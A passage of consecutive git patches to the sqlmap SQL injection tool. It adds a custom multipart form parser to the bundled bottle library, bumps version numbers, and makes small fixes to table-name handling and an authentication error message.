3 files changed, 414 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2dc9ae3fb3e..8adad336d66 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -daeccc20761331d7a9e23756e583aae7da29aa8a22442e213d94a042362be087 lib/core/settings.py +e61388bf2a8ce5df511d28fb09749a937cbef4bd8878c2c7bc85f244e15e25ec lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -551,7 +551,7 @@ bd0fd06e24c3e05aecaccf5ba4c17d181e6cd35eee82c0efd6df5414fb0cb6f6 tamper/xforwar e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py e8f0ea4d982ef93c8c59c7165a1f39ccccddcb24b9fec1c2d2aa5bdb2373fdd5 thirdparty/beautifulsoup/beautifulsoup.py 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py -1b0f89e4713cc8cec4e4d824368a4eb9d3bdce7ddfc712326caac4feda1d7f69 thirdparty/bottle/bottle.py +0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c0440f1f8c..a068f7ef544 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.7" +VERSION = "1.8.6.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 916e2607d5f..9df46294b37 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -69,7 +69,7 @@ def _cli_patch(cli_args): # pragma: no coverage # Imports and Python 2/3 unification ########################################## ############################################################################### -import base64, calendar, cgi, email.utils, functools, hmac, itertools,\ +import base64, calendar, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType @@ -94,6 +94,7 @@ def _cli_patch(cli_args): # pragma: no coverage from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError + from collections import defaultdict from collections.abc import MutableMapping as DictMixin from types import ModuleType as new_module import pickle @@ -126,7 +127,7 @@ def _raise(*a): from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser - from collections import MutableMapping as DictMixin + from collections import MutableMapping as DictMixin, defaultdict from inspect import getargspec unicode = unicode @@ -1137,6 +1138,399 @@ def __setattr__(self, name, value): # HTTP and WSGI Tools ########################################################## ############################################################################### +# Multipart parsing stuff + +class StopMarkupException(BottleException): + pass + + +HYPHEN = tob('-') +CR = tob('\r') +LF = tob('\n') +CRLF = CR + LF +LFCRLF = LF + CR + LF +HYPHENx2 = HYPHEN * 2 +CRLFx2 = CRLF * 2 +CRLF_LEN = len(CRLF) +CRLFx2_LEN = len(CRLFx2) + +MULTIPART_BOUNDARY_PATT = re.compile(r'^multipart/.+?boundary=(.+?)(;|$)') + +class MPHeadersEaeter: + end_headers_patt = re.compile(tob(r'(\r\n\r\n)|(\r(\n\r?)?)$')) + + def __init__(self): + self.headers_end_expected = None + self.eat_meth = self._eat_first_crlf_or_last_hyphens + self._meth_map = { + CR: self._eat_lf, + HYPHEN: self._eat_last_hyphen + } + self.stopped = False + + def eat(self, chunk, base): + pos = self.eat_meth(chunk, base) + if pos is None: return + if self.eat_meth != self._eat_headers: + if self.stopped: + raise StopMarkupException() + base = pos + self.eat_meth = self._eat_headers + return self.eat(chunk, base) + # found headers section end, reset eater + self.eat_meth = self._eat_first_crlf_or_last_hyphens + return pos + + def _eat_last_hyphen(self, chunk, base): + chunk_start = chunk[base: base + 2] + if not chunk_start: return + if chunk_start == HYPHEN: + self.stopped = True + return base + 1 + raise HTTPError(422, 'Last hyphen was expected, got (first 2 symbols slice): %s' % chunk_start) + + def _eat_lf(self, chunk, base): + chunk_start = chunk[base: base + 1] + if not chunk_start: return + if chunk_start == LF: return base + 1 + invalid_sequence = CR + chunk_start + raise HTTPError(422, 'Malformed headers, found invalid sequence: %s' % invalid_sequence) + + def _eat_first_crlf_or_last_hyphens(self, chunk, base): + chunk_start = chunk[base: base + 2] + if not chunk_start: return + if chunk_start == CRLF: return base + 2 + if len(chunk_start) == 1: + self.eat_meth = self._meth_map.get(chunk_start) + elif chunk_start == HYPHENx2: + self.stopped = True + return base + 2 + if self.eat_meth is None: + raise HTTPError(422, 'Malformed headers, invalid section start: %s' % chunk_start) + + def _eat_headers(self, chunk, base): + expected = self.headers_end_expected + if expected is not None: + expected_len = len(expected) + chunk_start = chunk[base:expected_len] + if chunk_start == expected: + self.headers_end_expected = None + return base + expected_len - CRLFx2_LEN + chunk_start_len = len(chunk_start) + if not chunk_start_len: return + if chunk_start_len < expected_len: + if expected.startswith(chunk_start): + self.headers_end_expected = expected[chunk_start_len:] + return + self.headers_end_expected = None + if expected == LF: # we saw CRLFCR + invalid_sequence = CR + chunk_start[0:1] + # NOTE we don not catch all CRLF-malformed errors, but only obvious ones + # to stop doing useless work + raise HTTPError(422, 'Malformed headers, found invalid sequence: %s' % invalid_sequence) + else: + assert expected_len >= 2 # (CR)LFCRLF or (CRLF)CRLF + self.headers_end_expected = None + assert self.headers_end_expected is None + s = self.end_headers_patt.search(chunk, base) + if s is None: return + end_found = s.start(1) + if end_found >= 0: return end_found + end_head = s.group(2) + if end_head is not None: + self.headers_end_expected = CRLFx2[len(end_head):] + + +class MPBodyMarkup: + def __init__(self, boundary): + self.markups = [] + self.error = None + if CR in boundary: + raise HTTPError(422, 'The `CR` must not be in the boundary: %s' % boundary) + boundary = HYPHENx2 + boundary + self.boundary = boundary + token = CRLF + boundary + self.tlen = len(token) + self.token = token + self.trest = self.trest_len = None + self.abspos = 0 + self.abs_start_section = 0 + self.headers_eater = MPHeadersEaeter() + self.cur_meth = self._eat_start_boundary + self._eat_headers = self.headers_eater.eat + self.stopped = False + self.idx = idx = defaultdict(list) # 1-based indices for each token symbol + for i, c in enumerate(token, start=1): + idx[c].append([i, token[:i]]) + + def _match_tail(self, s, start, end): + idxs = self.idx.get(s[end - 1]) + if idxs is None: return + slen = end - start + assert slen <= self.tlen + for i, thead in idxs: # idxs is 1-based index + search_pos = slen - i + if search_pos < 0: return + if s[start + search_pos:end] == thead: return i # if s_tail == token_head + + def _iter_markup(self, chunk): + if self.stopped: + raise StopMarkupException() + cur_meth = self.cur_meth + abs_start_section = self.abs_start_section + start_next_sec = 0 + skip_start = 0 + tlen = self.tlen + eat_data, eat_headers = self._eat_data, self._eat_headers + while True: + try: + end_section = cur_meth(chunk, start_next_sec) + except StopMarkupException: + self.stopped = True + return + if end_section is None: break + if cur_meth == eat_headers: + sec_name = 'headers' + start_next_sec = end_section + CRLFx2_LEN + cur_meth = eat_data + skip_start = 0 + elif cur_meth == eat_data: + sec_name = 'data' + start_next_sec = end_section + tlen + skip_start = CRLF_LEN + cur_meth = eat_headers + else: + assert cur_meth == self._eat_start_boundary + sec_name = 'data' + start_next_sec = end_section + tlen + skip_start = CRLF_LEN + cur_meth = eat_headers + + # if the body starts with a hyphen, + # we will have a negative abs_end_section equal to the length of the CRLF + abs_end_section = self.abspos + end_section + if abs_end_section < 0: + assert abs_end_section == -CRLF_LEN + end_section = -self.abspos + yield sec_name, (abs_start_section, self.abspos + end_section) + abs_start_section = self.abspos + start_next_sec + skip_start + self.abspos += len(chunk) + self.cur_meth = cur_meth + self.abs_start_section = abs_start_section + + def _eat_start_boundary(self, chunk, base): + if self.trest is None: + chunk_start = chunk[base: base + 1] + if not chunk_start: return + if chunk_start == CR: return self._eat_data(chunk, base) + boundary = self.boundary + if chunk.startswith(boundary): return base - CRLF_LEN + if chunk_start != boundary[:1]: + raise HTTPError( + 422, 'Invalid multipart/formdata body start, expected hyphen or CR, got: %s' % chunk_start) + self.trest = boundary + self.trest_len = len(boundary) + end_section = self._eat_data(chunk, base) + if end_section is not None: return end_section + + def _eat_data(self, chunk, base): + chunk_len = len(chunk) + token, tlen, trest, trest_len = self.token, self.tlen, self.trest, self.trest_len + start = base + match_tail = self._match_tail + part = None + while True: + end = start + tlen + if end > chunk_len: + part = chunk[start:] + break + if trest is not None: + if chunk[start:start + trest_len] == trest: + data_end = start + trest_len - tlen + self.trest_len = self.trest = None + return data_end + else: + trest_len = trest = None + matched_len = match_tail(chunk, start, end) + if matched_len is not None: + if matched_len == tlen: + self.trest_len = self.trest = None + return start + else: + trest_len, trest = tlen - matched_len, token[matched_len:] + start += tlen + # process the tail of the chunk + if part: + part_len = len(part) + if trest is not None: + if part_len < trest_len: + if trest.startswith(part): + trest_len -= part_len + trest = trest[part_len:] + part = None + else: + trest_len = trest = None + else: + if part.startswith(trest): + data_end = start + trest_len - tlen + self.trest_len = self.trest = None + return data_end + trest_len = trest = None + + if part is not None: + assert trest is None + matched_len = match_tail(part, 0, part_len) + if matched_len is not None: + trest_len, trest = tlen - matched_len, token[matched_len:] + self.trest_len, self.trest = trest_len, trest + + def _parse(self, chunk): + for name, start_end in self._iter_markup(chunk): + self.markups.append([name, start_end]) + + def parse(self, chunk): + if self.error is not None: return + try: + self._parse(chunk) + except Exception as exc: + self.error = exc + + +class MPBytesIOProxy: + def __init__(self, src, start, end): + self._src = src + self._st = start + self._end = end + self._pos = start + + def tell(self): + return self._pos - self._st + + def seek(self, pos): + if pos < 0: pos = 0 + self._pos = min(self._st + pos, self._end) + + def read(self, sz=None): + max_sz = self._end - self._pos + if max_sz <= 0: + return tob('') + if sz is not None and sz > 0: + sz = min(sz, max_sz) + else: + sz = max_sz + self._src.seek(self._pos) + self._pos += sz + return self._src.read(sz) + + def writable(self): + return False + + def fileno(self): + raise OSError('Not supported') + + def closed(self): + return self._src.closed() + + def close(self): + pass + + +class MPHeader: + def __init__(self, name, value, options): + self.name = name + self.value = value + self.options = options + + +class MPFieldStorage: + + _patt = re.compile(tonat('(.+?)(=(.+?))?(;|$)')) + + def __init__(self): + self.name = None + self.value = None + self.filename = None + self.file = None + self.ctype = None + self.headers = {} + + def read(self, src, headers_section, data_section, max_read): + start, end = headers_section + sz = end - start + has_read = sz + if has_read > max_read: + raise HTTPError(413, 'Request entity too large') + src.seek(start) + headers_raw = tonat(src.read(sz)) + for header_raw in headers_raw.splitlines(): + header = self.parse_header(header_raw) + self.headers[header.name] = header + if header.name == 'Content-Disposition': + self.name = header.options['name'] + self.filename = header.options.get('filename') + elif header.name == 'Content-Type': + self.ctype = header.value + if self.name is None: + raise HTTPError(422, 'Noname field found while parsing multipart/formdata body: %s' % header_raw) + if self.filename is not None: + self.file = MPBytesIOProxy(src, *data_section) + else: + start, end = data_section + sz = end - start + if sz: + has_read += sz + if has_read > max_read: + raise HTTPError(413, 'Request entity too large') + src.seek(start) + self.value = tonat(src.read(sz)) + else: + self.value = '' + return has_read + + @classmethod + def parse_header(cls, s): + htype, rest = s.split(':', 1) + opt_iter = cls._patt.finditer(rest) + hvalue = next(opt_iter).group(1).strip() + dct = {} + for it in opt_iter: + k = it.group(1).strip() + v = it.group(3) + if v is not None: + v = v.strip('"') + dct[k.lower()] = v + return MPHeader(name=htype, value=hvalue, options=dct) + + @classmethod + def iter_items(cls, src, markup, max_read): + iter_markup = iter(markup) + # check & skip empty data (body should start from empty data) + null_data = next(iter_markup, None) + if null_data is None: return + sec_name, [start, end] = null_data + assert sec_name == 'data' + if end > 0: + raise HTTPError( + 422, 'Malformed multipart/formdata, unexpected data before the first boundary at: [%d:%d]' + % (start, end)) + headers = next(iter_markup, None) + data = next(iter_markup, None) + while headers: + sec_name, headers_slice = headers + assert sec_name == 'headers' + if not data: + raise HTTPError( + 422, 'Malformed multipart/formdata, no data found for the field at: [%d:%d]' + % tuple(headers_slice)) + sec_name, data_slice = data + assert sec_name == 'data' + field = cls() + has_read = field.read(src, headers_slice, data_slice, max_read=max_read) + max_read -= has_read + yield field + headers = next(iter_markup, None) + data = next(iter_markup, None) + class BaseRequest(object): """ A wrapper for WSGI environment dictionaries that adds a lot of @@ -1326,6 +1720,10 @@ def _iter_chunked(read, bufsize): @DictProperty('environ', 'bottle.request.body', read_only=True) def _body(self): + mp_markup = None + mp_boundary_match = MULTIPART_BOUNDARY_PATT.match(self.environ.get('CONTENT_TYPE', '')) + if mp_boundary_match is not None: + mp_markup = MPBodyMarkup(tob(mp_boundary_match.group(1))) try: read_func = self.environ['wsgi.input'].read except KeyError: @@ -1335,12 +1733,15 @@ def _body(self): body, body_size, is_temp_file = BytesIO(), 0, False for part in body_iter(read_func, self.MEMFILE_MAX): body.write(part) + if mp_markup is not None: + mp_markup.parse(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True + body.multipart_markup = mp_markup self.environ['wsgi.input'] = body body.seek(0) return body @@ -1378,7 +1779,7 @@ def chunked(self): def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or - instances of :class:`cgi.FieldStorage` (file uploads). + instances of :class:`MPBytesIOProxy` (file uploads). """ post = FormsDict() # We default to application/x-www-form-urlencoded for everything that @@ -1389,18 +1790,15 @@ def POST(self): post[key] = value return post - safe_env = {'QUERY_STRING': ''} # Build a safe environment for cgi - for key in ('REQUEST_METHOD', 'CONTENT_TYPE', 'CONTENT_LENGTH'): - if key in self.environ: safe_env[key] = self.environ[key] - args = dict(fp=self.body, environ=safe_env, keep_blank_values=True) - if py3k: - args['encoding'] = 'utf8' post.recode_unicode = False - data = cgi.FieldStorage(**args) - self['_cgi.FieldStorage'] = data #http://bugs.python.org/issue18394 - data = data.list or [] - for item in data: + body = self.body + markup = body.multipart_markup + if markup is None: + raise HTTPError(400, '`boundary` required for mutlipart content') + elif markup.error is not None: + raise markup.error + for item in MPFieldStorage.iter_items(body, markup.markups, self.MEMFILE_MAX): if item.filename is None: post[item.name] = item.value else: From 9a48a27593319b1f5a855659f4fd9e0025ac410e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Jun 2024 20:46:23 +0200 Subject: [PATCH 082/853] Patch related to the #4613 --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 8 +++++--- 4 files changed, 10 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8adad336d66..aa66831ccb5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e61388bf2a8ce5df511d28fb09749a937cbef4bd8878c2c7bc85f244e15e25ec lib/core/settings.py +3c7e7655ac72fc1a6676438dfc2be407df5e50bd5addd38bdc205a2927015be0 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -460,8 +460,8 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py 664be8bb4157452f2e40c4f98a359e26b559d7ef4f4148564cb8533b5ebf7d54 plugins/generic/custom.py -22b85d8b07a5f00a9a0d61093b96accd3c5a3daf50701366feef1b5b58d4042e plugins/generic/databases.py -37e83713dbd6564deadb7fe68478129d411de93eaf5c5e0276124248e9373025 plugins/generic/entries.py +2a52c448a9395bd527fc40ef826e220e2d093e28e5ca296144a4f7550989a819 plugins/generic/databases.py +f8fc1af049d08e7ff87899cad7766f376cc6dfe45baafb86ef13e7252b833e00 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py 05f33c9ba3897e8d75c8cf4be90eb24b08e1d7cd0fc0f74913f052c83bc1a7c1 plugins/generic/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a068f7ef544..338425799c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.8" +VERSION = "1.8.6.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 2162ab61f6d..df9dd58fda0 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -321,7 +321,7 @@ def getTables(self, bruteForce=None): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): - table = unArrayizeValue(table) + table = unArrayizeValue(table).strip() if not isNoneValue(table): db = safeSQLIdentificatorNaming(db) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 3471580c82c..f6e8c01c4a6 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -134,12 +134,14 @@ def dumpTable(self, foundData=None): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): kb.dumpTable = tbl + elif METADB_SUFFIX.upper() in conf.db.upper(): + kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warning(warnMsg) @@ -154,7 +156,7 @@ def dumpTable(self, foundData=None): if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warning(warnMsg) @@ -168,7 +170,7 @@ def dumpTable(self, foundData=None): if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) From c1af880fb8e3acdc24052fecad7cd4014a675c7e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 24 Jun 2024 18:19:24 +0200 Subject: [PATCH 083/853] Fixes #5735 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index aa66831ccb5..2503ccb2d13 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -3c7e7655ac72fc1a6676438dfc2be407df5e50bd5addd38bdc205a2927015be0 lib/core/settings.py +fd08fcc01179e34ccca723bf2f71235ab5c4bdb5d180a62a76042d718c5bcaa3 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -460,7 +460,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py 664be8bb4157452f2e40c4f98a359e26b559d7ef4f4148564cb8533b5ebf7d54 plugins/generic/custom.py -2a52c448a9395bd527fc40ef826e220e2d093e28e5ca296144a4f7550989a819 plugins/generic/databases.py +8f4cd6fc48882869203eaa797fea339a5afaf17306a674b384ae18d47839a150 plugins/generic/databases.py f8fc1af049d08e7ff87899cad7766f376cc6dfe45baafb86ef13e7252b833e00 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 338425799c2..54208d19149 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.9" +VERSION = "1.8.6.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index df9dd58fda0..02e8ca0b3d2 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -321,11 +321,11 @@ def getTables(self, bruteForce=None): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): - table = unArrayizeValue(table).strip() + table = unArrayizeValue(table) if not isNoneValue(table): db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(table, True) + table = safeSQLIdentificatorNaming(table, True).strip() if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment From 73a62f9f4e9413dc4741cad5ff70896830cdff94 Mon Sep 17 00:00:00 2001 From: Ben Kofman <76549306+swgee@users.noreply.github.com> Date: Mon, 24 Jun 2024 12:20:09 -0400 Subject: [PATCH 084/853] Update option.py (#5736) auth-type=pki requires auth-file option to pass in a certificate. auth-pki is not a valid option --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6125260f7d8..ec672622dae 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1360,7 +1360,7 @@ def _setHTTPAuthentication(): errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " - errMsg += "usage of option `--auth-pki`" + errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) From a79ed52463712b3e4e44b075804666504a773a82 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 24 Jun 2024 18:22:56 +0200 Subject: [PATCH 085/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 3 ++- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2503ccb2d13..b5938da63d4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,14 +180,14 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py -33e0ec9ed38ae1ac74f1e2e3a1a246dee44c167723c9df69635793bfdbd971df lib/core/option.py +b3d2be01406c3bae1cf46e1b8c0f773264b61a037e6a92e5c0ba190a82afc869 lib/core/option.py d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -fd08fcc01179e34ccca723bf2f71235ab5c4bdb5d180a62a76042d718c5bcaa3 lib/core/settings.py +c8591398ce93f9ab31a83592f374110b93f60b232276b30ae825851252400910 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -398,7 +398,7 @@ fdc3effe9320197795137dedb58e46c0409f19649889177443a2cbf58787c0dd plugins/dbms/m 7f0165c085b0cb7d168d86acb790741c7ba12ad01ca9edf7972cfb184adb3ee9 plugins/dbms/mysql/connector.py 05c4624b2729f13af2dd19286fc9276fc97c0f1ff19a31255785b7581fc232ae plugins/dbms/mysql/enumeration.py 9915fd436ea1783724b4fe12ea1d68fc3b838c37684a2c6dd01d53c739a1633f plugins/dbms/mysql/filesystem.py -bb5e22e286408100bcc0bd2d5f9d894ea0927c9300fa1635f4f6253590305b54 plugins/dbms/mysql/fingerprint.py +6114337620d824bf061abee8bcfe6e52aea38a54ee437f1cfff92a9a2097c6a7 plugins/dbms/mysql/fingerprint.py ae824d447c1a59d055367aa9180acb42f7bb10df0006d4f99eeb12e43af563ae plugins/dbms/mysql/__init__.py 60fc1c647e31df191af2edfd26f99bf739fec53d3a8e1beb3bffdcf335c781fe plugins/dbms/mysql/syntax.py 784c31c2c0e19feb88bf5d21bfc7ae4bf04291922e40830da677577c5d5b4598 plugins/dbms/mysql/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 54208d19149..80e606f1590 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.10" +VERSION = "1.8.6.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git 